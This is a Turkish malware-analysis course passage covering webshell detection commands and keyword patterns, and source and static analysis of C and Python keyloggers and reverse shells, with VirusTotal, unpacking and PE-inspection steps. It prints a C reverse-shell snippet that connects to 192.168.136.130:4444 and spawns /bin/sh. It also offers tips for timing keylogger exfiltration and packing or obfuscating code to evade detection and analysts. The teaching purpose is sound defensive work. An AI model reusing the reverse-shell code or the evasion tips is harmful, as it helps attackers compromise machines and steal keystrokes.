webshell dosyalarınıdatespitedebilmektedir. Link: https://github.com/emposha/Shell-Detector
  • 94. Manual Tarama Manual taramanın önemi özellikle .txt.jpg.pnguzantılıtaramaları da kolaylıklagerçekleştirmemize olanaksağlamaktadır.Otomatize araçlardasadece bellibirformattataramayapıyordukbuda savunmakısmında kritikbirdurum. Linux sistemlerde terminale aşağıdaki komutugirersenizson24saat içerisinde websunucuüzerinde değiştirilenveyayeni yüklenen“PHP”uzantılıdosyalarlistelenecektir.( " -mtime -1" kısmını kaldırarakhepsini görüntüleyebilirsiniz. find. -type f -name '*.php'-mtime -1 Aynı komutuperl, python,aspx,asp,txt,jpgvb.uzantılariçinde uygulayabilirsiniz. Şüpheli KodTespiti Dosyalariçinde php’de kullanımışüpheli olankodlarolabilir.Wordpressyadadurupal gibi hazır sistemlerkullandığınızdasizi yanıltacaksonuçlarçıkartabilir. find. -type f -name '*.php'| xargs egrep -i "(fsockopen|pfsockopen|stream_socket_client|exec|system|passthru|eval|base64_decode) *(" [*]fsockopen:DDosiçinkullanılabilir,uzaksoketaçmayayarar. [*]pfsockopen:uzaksoketaçarfsockopen ile aynıdır. [*]ecex,systemve passthru:sunuculardakomutçalıştırmayayarar. [*]stream_socket_client:Uzakbağlantıoluşturma. [*]Kodubase64ile şifreleyerektespitişleminizorlaştırmakisteyebilirler.Shell’inbiryerlerinde içerisinde “base64”geçenfonksiyonlarınkullanılmışolabilir. find. -type f -name '*.php'-mtime -1| xargs grep -l "fsock" find. -type f -name '*.php'-mtime -1| xargs grep -l "shell" find. -type f -name '*.php'-mtime -1| xargs grep -l "base64 Bu şekilde de tektekyapmakmümkün
  • 95. Burada aklınızdabulunmasıgerekenenönemli şeyshell dosyalarınınsadece PHPolarak yüklenmediğidir.Saldırganlarshell dosyalarınıresimformatlarıveyaTXTformatlarındada yükleyebilmektedirler.Oyüzdenyukarıdaki komutlarıresimformatlarınave TXTformatınagörede çalıştırmalıdır. Peki yukarıdaanlatılankomutlarıWindowsüzerinde yapamazmıyız?Tabii ki yaparız onuniçinde Powershell ihtiyacımızvar. Get-ChildItem-recurse-include"*.php"|select-string"(fsock|shell|exec)"|%{"$_.file- name):$($_.line)"}|out-gridview Yukardaki komutile içerisinde “fsock,shell,exec”kelimeleri geçendosyalarıtespitettim.Buanahtar kelimelerdediğimgibi arttırılabilir. WebShell ile sızmadaki muhtemelgüvenlikaçıklarıhakkındayapılabilinecek muhtemel saldırılarve açıklamaları https://www.owasp.org/index.php/Unrestricted_File_Upload https://www.owasp.org/index.php/Testing_for_Local_File_Inclusion https://www.owasp.org/index.php/Testing_for_Remote_File_Inclusion
  • 97. C KEYLOGGER KAYNAK KOD ANALİZ C Nedir? C, 1950'li senelerdenitibarenbaşlayıpgünümüze kadargelenbir programlama dilidir. KeyloggerNedir? Keylogger,kurbanınklavyesinde bastığı her tuşun kaydediliphacker(Saldıran taraf)'a iletilmesini sağlayan bir programdır. Keyloggerkişininbastığı hertuşu kaydettiğindendolayı bilgisayarında olan bütün hesaplarınele geçirilmesi anmeselesidir. C KeyloggerKaynak Kod Analizi
  • 98. Dosyalarımızın oluşturulup, keyloggerimizin gizlenmesini ve basılan tuşların çekilmesini sağlayan kodlar bu bölümde bulunuyor. Kurbandan gelen bilgiler keys.txt dosyasına kaydedilmekte. Bu kısımda ise hacker, kurbandan gelen bilgilerin nereye gideceğini seçiyor. Burada herhangi bir mail sunucusu kullanabilir.
  • 99. Bu konumunda burda sonuna gelmiş bulunmaktayım. C REVERSE SHELL KAYNAK KOD ANALİZ Bu yazımızda C ile yazılmış Reverse Shell'in kaynak kodlarının analizini yapacağız.. Öncelikle; Shell Nedir? Türkçe karşılığı kabuk olan Shell, kullanıcıdan aldığı komutları yorumlayıp uygulayan bir katmadır yani kullanıcı ile kernel arasındaki iletişim yoludur. Reverse Shell Nedir? Kurban bilgisayarda çalıştığında saldırgan ile iletişimi ve komut çalıştırmasına olanak sağlayan yapıya reverse shell(ters kabuk) denir. Senaryonun özeti; Kurban makinede herhamgi bir yöntem ile sızıldığını düşünelim, bu bir exploit yardımı ile olabilir. C ile yazılmış Reverse Shell execute edildi. Saldırgan ise ilgili portu netcat ile dinlemeye aldı..
  • 100. Buradaki -lvp parametrelerinin açıklamasını yapacak olursak.. -l : dinleme modu, -v : bağlantı sırasında Standart Error'da olan mesajların ayrıntılı biçimde gösterilmesini sağlar. -p : kaynak portun belirtildiği parametredir. Kurban makinede Reverse Shell çalıştığı anda görüldüğü üzere bağlantı sağlanmış olur ve saldırgan kurban makinede bir shell elde etmiş oldu.. Sıra geldi kurban makinede execute edilen Reverse Shell'in kaynak kodunu incelemeye..
  • 101. int mySocket; mySocket = socket(AF_INET,SOCK_STREAM,0); Görüldüğü üzere bir soket yapısı oluşturulmuş, bu yapı IPv4 protokolünü kullanarak TCP üzerinden veri alışverişi gerçekleştirmektedir. struct sockaddr_in blue; blue.sin_family = AF_INET; blue.sin_addr.s_addr = inet_addr("192.168.136.130"); blue.sin_port = htons(4444); Burada blue adında bir struct oluşturulmuş.Veri alışverişinin özellikleri belirtilmiş. Saldırgan kendi adresini ve veri alışverişinin yapılacağı portu belirtmiş.Yani yukarıda netcat ile dinleme yapan saldırganın adresi inet_addr("192.168.136.130"); port ise htons(4444); bilindiği üzere dinlemeye aldığı TCP 4444 numaralı porttu. connect(mySocket,(struct sockaddr *)&blue,sizeof(blue)); Saldırgan kendisine connect fonksiyonu ile bağlantı isteği gönderiyor. Burada 1. parametrede oluşturulan soket ismi, 2. parametre olarak saldırganın bilgilerinin tutulduğu veri yapısı son parametre ise bilgilerin boyutunun tutulduğu kısımdır. execl("/bin/sh","sh","-i",NULL,NULL); execl fonksiyonu ise saldırganın uzaktan komut çalıştırma imkanı tanıyacaktır.
  • 102. execl() ilk parametre olarak çalıştırılabilir dosyanın yol bilgisini alır. Bu da "/bin/sh" dir. /bin/sh , Bash benzeri bir komut yorumlayıcısıdır. POSIX kabuğu olarak da geçer. İlk 3 parametreyi şöyle düşünebilirsiniz; execl() fonksiyonu içerisinde de aslında bu işlemin aynısı yapılır ve bir komut yorumlayıcısı açılır. PYTHON KEYLOGGER KAYNAK KOD ANALİZ Merhaba arkadaşlarkonumuzbirpython aracının zararlı olduğununasıl anlarızbunu paylaşacağım. İlkönce bakmamız gerekenşeykaynakkodlarınaerişmekolacaktır.Ulaştığımızıfarz ederek anlatmayadevemediyorum. Kaynakkodunaeriştiktensonrailkbakmamızgerekenyerprogramaeklenenkütüphanelere bakmak olacaktır.Örnekverecekolursak( smtplib) kütüphanesini gördüğümüzdenbirsmtpile bağlantı kurabileceğisonucunavarmışoluyoruz.Aşağıdaki örnekteki gibi: Görüldüğügibi pynputKeyListenerdirektel sallıyorbenklavye dinliyorum diye.Bununlabirlikteweb sitesine birveri alışverişiyaptığınırequestskütüphanesiile anlıyoruz.Budasıradan ancak keylogger olmaihtimaliniarttırmaklabirlikte( socketve smtplib) kütüphaneleri de bizeartıkbenbir keyloggerimdiyor.
  • 103. Eğer kaynakkodlarıgörememişolsaydıkstatikanalizkısmındakeyloggerolduğukanısınavaracaktık ve kendimizi sanal ortamdaenfekteedipdurumuonagöre analizetmişolacaktık. kaynakkodlarınıanalizetmeye devamediyorumve oluşturulanlogdosyasınıne kadarsüre ile atacağını ve atarkende içeriğini formatınıdagörmüşolduk. Süre 60 saniye yani logdosyasınıdakikadabirgönderecekdemekoluyor.Genel olarakKeyloggerler içinminimum15 dkgibi bir süre verilmektedirçünküarkaarkayaatılan maillerden dolayıspama düşme durumusözkonusuolduğundandolayı15 dk.verilmektedir.Ancakbanasorarsanızverimli olmasıbakımından ftpsunucusu+ 24 saate birlog dosyalarınınuploadedilmesiyönünde olurdu. Çünkükodlarışifreleyeceğimdendolayıdinamikanaliziyapmakzorundakalacakinsanlargenelolarak sabırlı olmadığından1 gün boyuncasanal sunucuyuaçık bırakmayacaklarındandolayıbircokkişi keyloggere temizsonucunuveriyor.
  • 104. En son olarakbu tarzda birgmail ve parolasıgibi kod betiğinerastladığınıztaktirde direktzararlı olaraknot düşünüz. Konumuzbukadardı İyi forumlardilerim... PYTHON REVERSE SHELL KAYNAK KOD ANALİZ Konumuzpaketlenmişbirpythonprogramızıne kadar statikstatikanalizyapabileceğimizi inceleyeceğiz önceliklepyarmoryükleyelimyüklemekiçin pipinstall pyarmor yazmanızyerelidirpaketlemekiçinise pyarmorobfuscate (program_adı).py yazarak kodlarımızı gizlemişolacağızdahafazladetayiçin (http://pyarmor.readthedocs.io/en/latest/how-to-do.html) sayfasınıinceleyebilirsiniz. Bu gününtarihi olarakpyarmor 6.6.1 güncelsürümünükullanacağız. Şimdi keylogerimiziobfuscateedelim
  • 105. Evetburadaki gibi yazarakprogramınızı obfuscate edebilirsinizdahafazladetayiçinpyarmorhelp yazarak veyasize verdiğimyaknaktandetaylarınıaraştırabilirsiniz. Şimdi obfuscate edilmişdosyaile orjinal dosyayıkarşılaştırmayabaşlayalım. Görüldüğüüzre orjinal dosyamızındikboyutu4 KB ikenobfuscate edilmişdosyamız20KB burdanşu çıkarımda bulunubiliriz.Pyarmoralgoritmasıkayanakkodundakodekleyerekeklemişkodu şifreleyerekbiryöntemizlediğinitemelkriptolojidenanlayabiliriz.
  • 106. Kaynakkodlarınıincelemeye geçelim.Obfuscate edilmişdosyadagörildüğügibi şekildeprogramın hangi kütüphaneyi kullanıyorhiçbirşekilgöremiyoruzbuprogramhakkındaedinebileceğimiztekbilgi pyarmorile obfuscate edilmişolmasıdır. Paranteziçindeki kodunhexkoduolduğunubiliyoruzbunudecode ettiğimizde sadece pyarmor olduğunugörüyoruz. Bu yüzdenbize 3seçenekkalıyor.Yabu sürümünçözücü decoderinibulupkaynakkodaerişeceğizya bu şifreleme algoritmasınırem üzerindenmanual olaraksonucubulupkaynakkodunaerişeceğiz. Yada son çare olarakdinamikanalize girişeceğiz. konumuzbukadardı pythonkodlarıiçintemel statikanalizolaraktoplayacağımızverilerve çıkarımlar kısaca IOC lar bunlardır.
  • 108. C KEYLOGGER TEMEL STATİK ANALİZ Keyloggerimizi packingişlemi yapmadanönce taratalım. 12/37 gibi birsonuçaldık artık packingişleminiyapabiliriz. Benpackingişleminiupx ile yapacağımsizistersenizfarklıbirpackerskullanabilirsiniz. upx,yazılımdaki tümregisterkeys’i yani pushall registersyapıphafızayaatarardından sahte bir giriş noktası,entrypointoluşturarakişleyişi bozmamantığıylaçalışır.
  • 110. Bu da packingişlemi yaptıktansonraki hali,6/37sonucunubize verdi. StatickAnalysisbölümündenzararlımızhakkındabilgi toplayabiliriz.
  • 111. Zararlımız hakkındametadatagibi bilgileri görebiliyoruz.Buradaufakbirparantezaçıp bazı kısımlara değinelim.PEbaşlığıprogramtarafından tutulankütüphane ve fonksiyonbilgilerini saklar.PEbirçok bölüme ayrılır.(.text,.rdata.data,.rsrc vb.) Burada upx ile packedilmişzararlımızıincelediğimiz zaman PE sectionsalanındaupx0,upx1,upx2yeraldığını görüyoruz.Bu da executable’ınupx ile packlendiğininbirkanıtıdır.Aynı zamandauygulamanınimportettiği DLLdosyalarınıda görmekteyiz. Burada “ws2_32.dll”dosyasının importedildiğini görüyoruz.BuDLL dosyasıağ üzerindenbağlantı açmak içinkullanılır.Tıpkı “wsock32.dll”dosyasındaolduğugibi. Artıkunpackişleminegeçebiliriz. Detectit easy(die) ve Exeinfo’dangördüğümüzüzere zararlımızupx ile packlenmiş.
  • 112. Unpack yapacağımız dosyayıseçipdevamedelim. Unpack edilecekdosyamızınkonumunuve ismini seçipişlemimizi bitirelim. Unpack işlemimizbukadardı.
  • 113. Şimdi Stringsaracıylapacklenmişve unpacklenmişhalini inceleyelim. Görüldüğüüzere packlediğimizzararlınıniçinde UPX0,UPX1gibi yazılar gözükmekte.BunlarPE Sectionsalanındagörülenbilgileridi.Sağtaraftaise packlenmemişhalininstringsanalizinde .text, .data,.bss gibi segmentlerigörebilmekteyiz.Buradastringsile uygulamanıniçerisindegeçen karakterleri inceleyerekzararlıhakkındabilgileredineceğiz. C REVERSE SHELL TEMEL STATİK ANALİZ Temel Statik Analiz - C Reverse Shell Statik Analiz Nedir? Bilindiği üzere Malware analizi iki farklı kola ayrılmıştı bunlar; statik analiz ve dinamik analizdir. Biz bu yazıda Statik analiz üzerinde duracağız. Nedir bu Statik analiz diyecek
  • 114. olursak, uzunca anlatmadan analiz edilecek zararlı yazılımın canlı ortamda çalıştırılmadan temel manada incelenmesidir. Burada zararlı yazılımın obfuscating ve packing işlemlerinin olup olmadığı,hangi dosyaları import ettiği, hangi kütüphaneleri kullandığı, string değerleri, fonsiyonlar.. gibi bilgileri incelemek ana amacımızdır. Bu bilgiler bize zararlı hakkında önbilgi ve dinamik analiz için basamak oluşturacaktır. Senaryomuzda elimizde bulunan Windows sistemler için C ile yazdığımız Reverse Shelli paketlediğimizi düşünelim ve Bu dosyayı analiz etmek istersek ilk olarak yapacağımız işlem, Virustotal kullanarak bu dosyayı taratmak olacaktır. görüldüğü gibi 13 adet antivirus programı bu dosyayı virüs veya türevi şeklinde algıladı. https://www.virustotal.com/gui/file/d2e7625750ca69f5a816380f5aa81a968245325f027d4de8 1b9c451397c0826c/detection Packing işlemi yapmadan önceki vt taraması aşşağıdaki gibidir, packing işleminin etkisini daha net görebilmekteyiz.
  • 115. https://www.virustotal.com/gui/file/d3bafbbdd81f27c3039c43966b3c38f64f2850bf6b3768ba4 55254855a94446c/detection Evet konumuza dönelim ve packing işlemi yapılmış dosyadan devam edelim... Details bölümünde dosyanın temel bilgileri(hash değerleri, boyutu, türü vs..), zaman bilgilendirmesi(oluşturma, ilk gönderim, son gönderim, son analiz tarihi), header bilgisi, import ettiği dll dosyalarına ulaşılabilir. Relations bölümünde yaptığı bağlantı hakkında bilgi almaktayız. Behavior bölümünde ise yaptığı bağlantının adresi ve hangi port üzerinden olduğu bilgisini görmekteyiz. Ayrıca açılan dosyalarda görülmekte...
  • 116. Virustotal'den temel olarak bilgiler edindik. Şimdi izole edilmiş bir sanal makinede statik analize devam edelim.. Packing işlemini yapıldığını zaten biliyorduk fakat bunu şimdilik unutalım, başlangıç olarak dosya üzerinde herhangi bir obfuscator veya packer işlemi olup olmadığını kontrol edelim. Bunun için Die 1.01 veya PEiD v0.95 kullanılabilir. Görüldüğü üzere PeCompact ile paketlenmiş... Paketleme işleminden kurtulmak için RL!dePeCompact 2.x unpacker aracı kullanılabilir..
  • 117. Paketlemeden kurtulduktan sonra statik analize devam edelim... import edilen dll hakkında bilgi almak için CFF Explorer kullanabiliriz. Görüldüğü üzere zararlı WSOCK32.DLL ağ erişimi için kullanıyor. Aşşağı bölümde ise kullanılan fonksiyonlar görülmektedir. connect() sayesinde dışarıdan bir sisteme bağlantı yapabiliyor, send() ile veri gönderebiliyor vs...
  • 118. Ayrıca KERNEL32.dll içerisindeki sleep() fonksiyonu da zararlı yazılımlarda çokca kullanılan bir methodtur. Son olarak da pestudio ile inceleme yapacak olursak... strings bölümünde bazı dikkat çeken şeyler bulabiliriz. Bu bir ip veya domain olabilir. Ayrıca burada da kütüphane isimleri, fonksiyonlar, iletişim yolu olarak kullanılan protokoller(ftp,smtp...) bulunabilir. Bizim burada gözümüze çarpan local bir ip adresi muhtemelen reverse shellin iletişime geçtiği adres. Statik analiz basic olarak böyle.. Daha sonrasında dinamik analize geçilerek daha net yargılara varılabilir.
  • 119. PYTHON REVERSE SHELL TEMEL STATİK ANALİZ Herkese merhaba, bugünkü konumda Python ile yazılmış olan reverse shell'in yaramazlıklarını bulacağız. STATİKANALİZNEDİR Statikanalizenbasittanımı ile programlarıfiilençalıştırmadanbirnevi pasif olarakyapılananalizdir. Genelde statikanaliz,kaynakkodüzerindengerçekleştirilir.(bkz:unpack) Buanaliztipindezararlı yazılımın hangi dosyalarıkullanmakistediği,hangi kütüphaneleri kullandığı,stringdeğerleri hatta bazenboyutugibi temel taşlarincelenir. Tanımımız bukadardı. Artık fasulyeninfaydalarındanbahsedebiliriz.Şimdielimizde birtane Python reverse shell var,statikanalizde de tanımımızdanhatırlayacağımızüzere amacımız program yürütülmedentemel taşlarıincelemekti.Ozamançok klişe biryöntemolanVirusTotal'e taratalım zararlı olduğunudüşündüğümüz.exe'mizi,bakalımbize nelerverecek. Gördüğünüz gibi 5 tane antivirüs programı uyanabilmiş. Durum içler acısı. Şimdi geldik bu işlemin önemli tarafına. 'Details' ve 'behavior' kısımlarını başta iyi incelemeliyiz ki işin devamında biraz daha rahatlayalım.
  • 120. Details kısmında yazılımın tetiklediği .dll'leri görüyoruz bunları inceleyeceğiz.
  • 121. Behavior kısmında ise runtime modüllerini gördük. Şimdi gelin bunların üstüne biraz kafa yoralım. Öncelikle 'details' kısmında bazı .dll'ler çıktı karşımıza. kernel32.dll, işletim sisteminin temel işlevlerini yerine getirmek; bellek yönetimini sağlamak, giriş ve çıkış donanımlarını kontrol etmek gibi görevleri yerine getiren Windows modülüdür. Ama burada öncelikle gözüme çok önemli bir fonksiyonu çarptı. O da GetCurrentProcess. Bu fonksiyon Windowsça process_all_acces hakkına sahip yani herhangi bir işlem için maksimum erişim hakkı. Zatenkıllandığımız yazılım burada bizi iyice kızdırıyor. Artık VirusTotal faslından biraz daha derine inme vakti, göreceğimizi gördük zaten. Bu kısma kadar VirusTotal'den programda kullandığımız .dll'leri gördük ve temel olarak ne işe yaradığını biliyoruz artık ama temel olarak. Daha kapsamlı olması için bu .dll'leri CFF Explorer ile inceleyeceğiz statik analiz için kapsamlı ve kullanışlı bi' şey. Bu kısma geçmeden önce her ihtimale karşı zararlımızısanal ortamda açmak bizim yararımıza olur. Kamu spotundan sonra artık devam edebiliriz. Programımız bize VirusTotal'de gördüğümüz .dll'leri verdi tekrardan. Ama bakalım alt kategorilerde yeni neler ile karşılaşacağız. İncelemeye başlar başlamaz karşıma muhteşem üçlü çıktı. Adından da anlayacağınız üzere yanlış ellerde dosyalar üzerinde birtakım işlem hakkına sahip bu fonksiyonlar.
  • 122. Yine karşımıza kötü çocuklar çıktı. GetCurrentProcessId isimli fonksiyon makineniz üzerinde herhangi bir süreç sona erene kadar, sistem genelinde süreci tanımlıyor ki zararlı yazılım eğer soket bağlantısı kuruyor ise bu tehlikeli bir şey. GetSystemTimeAsFileTime fonksiyonu ise sistem bilgilerini (saat, dosya değiştirme tarihi, yapılan yüklemelerin tarihi) çekiyor. Bir diğer .dll'miz de ADVAPİ32.dll idi. Tek bir fonksiyon kullanılmış bu .dll altında ama baya bi' can alıcı bir fonksiyon bu. ConvertStringSecurityDescriptorToSecurityDescriptorW fonksiyonu dönüştürülen tanımlayıcının boyutunu bayt cinsinden alan bir değişkene ışık çakıyor. En üstte linkini bıraktığım konumda bunla ilgili bir kod parçası vardı hatırlarsanız. Sonuç olarak programımızın bir zararlıyazılım olduğuna kanaat getirmiş olduk yaptığımız birtakım işlemler ile bugünkü konum bu kadardı herkese iyi günler dilerim. TEMEL STATİK MALWARE ANALİZ TEKNİKLERİ Bu konudasizlere zararlıyazılımlarüzerinde temel statikanalizinadımlarınıuygulamalıolarak göstermekistiyorum. Temel Statik Zararlı YazılımAnalizi Statikanaliz,şüphelidosyayıçalıştırmadananalizetme tekniğidir.Yani bunubirazdahaaçmak gerekirse zararlıdosyasistemüzerinde çalıştırılmaz,işleviniyerinegetirmedenodosyaüzerinde analizlerile zararlıhakkındaçıkarımlargerçekleştirilir.İşte bizbunastatikzararlıyazılımanalizi diyoruz.Tabii bizstatikanalizi de kendi içerisinde iki başlığaayırıyoruz. Temel StatikAnaliz ve İleri StatikAnaliz olmaküzere iki başlığaayırıyoruz.Heriki seviyede de zararlıçalıştırılmaz.İleri statik analizolayınıtemel analizsüreçlerindensonraişleyeceğiz.Bugünodaklanacağımızkonutemel statik analizteknikleri olacak.
  • 123. Temel Statik Analiz Adımları Temel statikanalizinde nelerelde edeceğimizi birkaçmadde ile sıralayalım. - Zararlı yazılımın hedef mimarisini belirleme - Zararlı yazılımın virüstotal çıktılarını elde etme - Dosyanınişlevi ile ilgili verileri ayıklama(strings,functions,imports…) - Var ise analizi engellemekiçinuygulanantekniklerintespitedilmesi Temel statikanalizde genel olarak bumaddelerüzerine yoğunlaşacağız.Kendimizebiradetzararlı dosyabelirleyelimve tekniklerimizi kendisiüzerinde uygulayalım. Elimizde malware.exeadındabirzararlı dosyavar. Dosyanınuzantısına baktığımız zamanexe olduğunugörebiliyoruz.Yani şuandaelimizde çalıştırılabilirbirdosyaformatıolduğunugörüyoruz. Ancaksadece uzantıya güvenmekbiziyanılgıyadüşülebilir.Bununiçinsadece uzantıyadeğildosyanın imzasınada bakmamızgerekiyor.Bizimdosyamızınuzantısıexe olarakgörünüyor.Şimdidosyanın mimarisi ile ilgili bilgiedinelim. PE32 executableyani 32 bitlikmimaride yürütülebilirbirdosyaolduğunubize söylüyor.Dosyanınhex değerlerindenanalizinebakalım.hexeditormalware.exe komutunuuygulayalım. 4D 5A exe dosyasınaaittanımlayıcı numaradır. Buradanda bu dosyanınimzatabanlı olarakexe dosyasıolduğunuanlayabiliriz.Bunudaburayabırakayım https://filesignatures.net/index.php?search=EXE&mode=EXT Analizadımlarımızınilki olandosyamimarisi hakkındabilgiyieldeettik.Şimdi ise exe dosyamızı virustotal webadresineyükleyerekantivirüsyazılımlarıtarafındannasıl tanındığına bakalım. İlgili dosya49 antivirusyazılımıtarafındanzararlı olarak algılandı.
  • 124. Detailssekmesindende uygulamanınmimarisi hakkındabilgiyeulaşmışolduk. Uygulamamızexecutable formattabusebeptenPortable Executable formatınıkullanmaktadır. Buradaki PE formatınınalanlarını birazaçalım. .textbölmesindeuygulamanınmakine hali bulunuyor. .rdata bölmesinde uygulamanınexportve importbilgileri yeralıyor. .data bölmesinde global değişkenleryeralıyor. .rsrc bölmesindeise uygulamanınkullandığıikonvs.yeralıyor. Uygulamanınimportettiği DLL dosyalarıda bize uygulamanınişlevihakkındabilgilersunuyor. ADVAPI32.DLLWindowsiçinönemlibirparçadır kendisi. Burada iki fonksiyonukullandığınıgörüyoruz.Bunlarfonksiyonayırma,başlatma,serbestbırakma işlevlerini yerine getiriyor. KERNEL32.DLL ise donanımaerişimve müdahale de sıklıklakullanılanDLLdosyasıdır.Yani zararlı yazılım geliştiricileri içinbirnimettirkendisi.BuDLL dosyamızdaepeybirfunctionkullanıyor.Bunların hepsini ayrıntılıaçıklayamam,hepsi içinmsdn sayfasındayeteri kadaraçıklamavar. Burada dikkatimiziçekenfonksiyonlaraodaklanacağız.
  • 125. CreateFileW,CreateFileAfonksiyonlarıdosyaokumave yazmaişlevleriniyerinegetiriyor. GetFileType fonksiyonuise belirtilendosyanıntürünüalır.Bu3 fonksiyonumuzwin32api - file api başlığıaltında yeralan fonksiyonlardır. https://docs.microsoft.com/en-us/windows/win32/api/fileapi/ buraya bırakalım. Sleep,CreateEventAfonksiyonlarıise synchapi.hbaşlığıaltındayeralanfonksiyonlardır. BunlardaMSDN sayfalarındanaçıklamalarolsun. Yine dosyaişlemleri ilealakalıbirçokfonksiyonyeralıyor.DiğerDLLdosyamızageçelim.
  • 126. Bu DLL içinC çalışma zamanı kitaplığıdiyebiliriz.Burada reallocfonksiyonuayrılmışbirbellekalanına yeni birboyuteklemekiçinkullanılıyor. Mallocfonksiyonudabellekalanıayırmakiçinkullanılıyor. Yani bufonksiyonlardinamikbellekyönetimi içinkullanılanfonksiyonlardır. <stdlib.h> ve <malloc.h> kütüphanelerine ihtiyaç duyarlar. Diğer fonksiyonlarda dosya ve çıktı yazma işlevlerini yerine getiriyor. Bu iki dll dosyamızağ bağlantılarıiçinkullanılanDLLdosyalarıdır.Üzerlerinde fazlakonuşmayagerek duymuyorumki zatenne işlevi yerinegetirdikleri çokbelli. Burada ise biradetIP adrestespitedilmiş.Buradanaslındaçıkaracağımız sonuçbu adresinsaldırgana ait olduğuyani bağlantınınkurulacağıadresolduğunudüşünebiliriz.Budaaslındaters bağlantı sağlayanbirzararlının olduğunadairbiripucudur.Ki zatenağ işlemleriiçinde DLLdosyalarıyer alıyordu.Bu IPadresini birazdahaaraştırabiliriz.(Tamamlocal adresdemeyinhemensenaryogereği.)
  • 127. İlgili sayfaüzerinde IPadresi içinistihbarataraştırmasıyapıyoruzancak kabul edilmiyortabii,e dedik senaryogereği local biradreskullandık.Buaşamada bu adresi güvenlikduvarınızile engellemeniz gerekiyor. Burada gördüğümüzbilgi gerçektenönemli.Gördüğünüzgibi ilgili IPadresine 4444 portundan bağlantıkuruluyor.Yani zararlı yazılımçalıştığı zaman buadres üzerindenikitaraf bağlantıkuruyor. Bu bilgi ışığında ilgili adresve portfiltresi uygulanarakağıntrafiği incelenebilir.Yani zararlınınağ aktivitesi incelenereknelergerçekleştiği yorumlanabilir. StringAnaliz
  • 128. Burada exe dosyanıniçerisinde geçenstringleri inceleyelim.Buradanuygulamanınkullandığı fonksiyonlar,ipadresleri, dlldosyalarıvbbilgilerieldeedebiliriz.Buradaneldeettiğimizkarakterler bize zararlı hakkındabilgilerverecektir. 1.txt dosyasınaçıktıyı oluşturdum. Bakın ilkbölümdenPEsectionbilgilerini görebiliyoruz.Şimdi buradananlamlıkarakterleryakalamaya çalışacağız. Bakın burada epeybirfonksiyonlistesi karşımaçıktı.Bunların hepsi Cdilinde kullanılan fonksiyonlardır.
  • 129. KullanılanDLLdosyaları,fonksiyonlarıyine buradangörebiliyoruz. Bu txt dosyasındagrepkomutuile çeşitlifiltrelerde yaparakhızlıcaarama yapabiliriz.
  • 130. Bu şekilde filtrelerle de sonuçodaklıilerleyebiliriz.Şuanakadarelde ettiğimizbilgilerle uygulamanın uzak biradrese bağlantıkurduğu,socketfonksiyonları,kullandığıdll,fonksiyonve karakterlerdenyola çıkarak zararlının reverse shell olduğukanısınavarabiliriz. Aynı zamandabu yaptığımız işlemleri tekbirprogramüzerindende ayrıntılıolarakgörebiliriz. PEstudioprogramıile dosyamızıinceleyelim.Bununiçinönceliklekali makinemde yeralanzararlıyı analizedeceğimXPmakinesinetransferedeceğim. Masaüstü dizinimihttpüzerindenpaylaşımaaçıpXPmakinemde erişiyorumve malware.exe dosyasınısistemime çekiyorum.
  • 131. Burada gördüğünüzgibi pestudio37 stringi blacklist olarakeklemiş.Yani bunlarınzararlıstringler olduğunusöylüyor. Kullanılan5dll dosyasından2 tanesini zararlıolarakgörüyor.Yani ağ işlemleri gerçekleştirendll dosyalarınıkara listeye eklemiş. Aynı zamandavirustotal üzerindende sonuçlarıbize gösteriyor. PE analizi yapabileceğimizbirbaşkauygulamaise pe vieweraracıdır. Örneğinuygulamanınimporttablosunuincelediğimzamanahil ettiğiDLLdosyalarını görebilmekteyim.
  • 132. Buradan hafızaadreslerini görebiliyorum.BirdiğerPEanalizaracımız ise PEBrowseDbgaracıdır. Buradan textsection’agözattığım zamanhafıza adresleri,opcode bölmesi,assemblykarşılıklarınınet biçimde görebiliyorum.Tabiitemelstatikanalizde bukısımlaragirmeyeceğiz.
  • 133. Aynı zamandaimports bölmesindenkullanılanDLLve içerdikleri fonksiyonlarıdagörebilmekteyiz. Exportstablosundadaepeybirfonksiyonkarşımızaçıkıyor.Burada gördüğünüzgibi soketişlemleri içinkullanılançeşitlifonksiyonlargözümüze çarpıyor. Aynı zamandaherbir fonksiyonunhafızadaki yerini de netbiçimde görebiliyoruz.Tabii burada assemblyseviyesinde analizyapmayacağız,burayaileri seviye statikanalizde geleceğiz. Son olarakda Resource Hackerprogramı ile uygulamanın.rsrcsectioninceleyerekbilgi alabiliriz.
  • 134. Uygulamanınherhangi birpaketlemeişleminetabii tutuluptutulmadığınıdaPEiDyazılımı ile tespit edebiliriz.Gördüğünüzgibi herhangi birişleme tabiitutulmamış. Temel statikanalizde aktaracaklarımbukadar idi.Okuyanherkese teşekkür ederim. PMA LAB 01-04 TEMEL STATİK ANALİZ Practical Malware Analysis Lab01-04 Çözümü Kitaptaki Labsoruları kitabınistediği formatta çözülecektir.Serinindevamıdır. Bütünarkadaşlara başarılardilerim... Kitabınbizdenistediği sorularabakacakolursak: https://i.imgyukle.com/2021/02/26/L6LpJ6.png
  • 135. Soru 1: Lab01-04.exe dosyasını vitustotal’eyükleyipherhangibirzararlıeşleşmesi olupolmadığını kontrol edin. Zararlı dosyayıVirusTotale atıp sonuçlarıinceleyelim. https://i.imgyukle.com/2021/02/26/L6Lipv.png Görüldüğüüzere 59/71 oranı vermektedirbununlabirlikte kurduğubağlantılar,registerkayıtları kullandığıDLL ve nicesi gözükmektedir.COMMUNITYkısmına tıklayacakolursakda bu dosyayı inceleyenanalizcilerinyorumlarıgözükmektedir.VTsonucunabakarakzararlı olduğu düşüncesindeyiz. Not:VirusTotalin çalışmaprensibine bakacakolursakuploadettiğimizdosyanınhashdeğerini kendi veritabanındakilerlekarşılaştırmaktadır.Paketlenmişbirzararlıburada temizsonucuvermesi çokça rastlananbirdurum. Not2: Bir dosyayıVT ile analizederkendosyanınhashdeğerleri taratılmasıdoğrubirhareketolacaktır çünküvirustotal uploadedilendosyalarıortaklarıile paylaşmaktadırve bunlarherkeseaçıkolarak yayınlandığıiçinkritikdosyalarınuploadedilmesi sakıncaoluşturmaktadır. Soru2: Dosyanınpaketlendiğine veyaobfuscate edildiğinedairbirizvar mı? Varsa nelerdir?Eğer paketleme varsamümkünse açın.
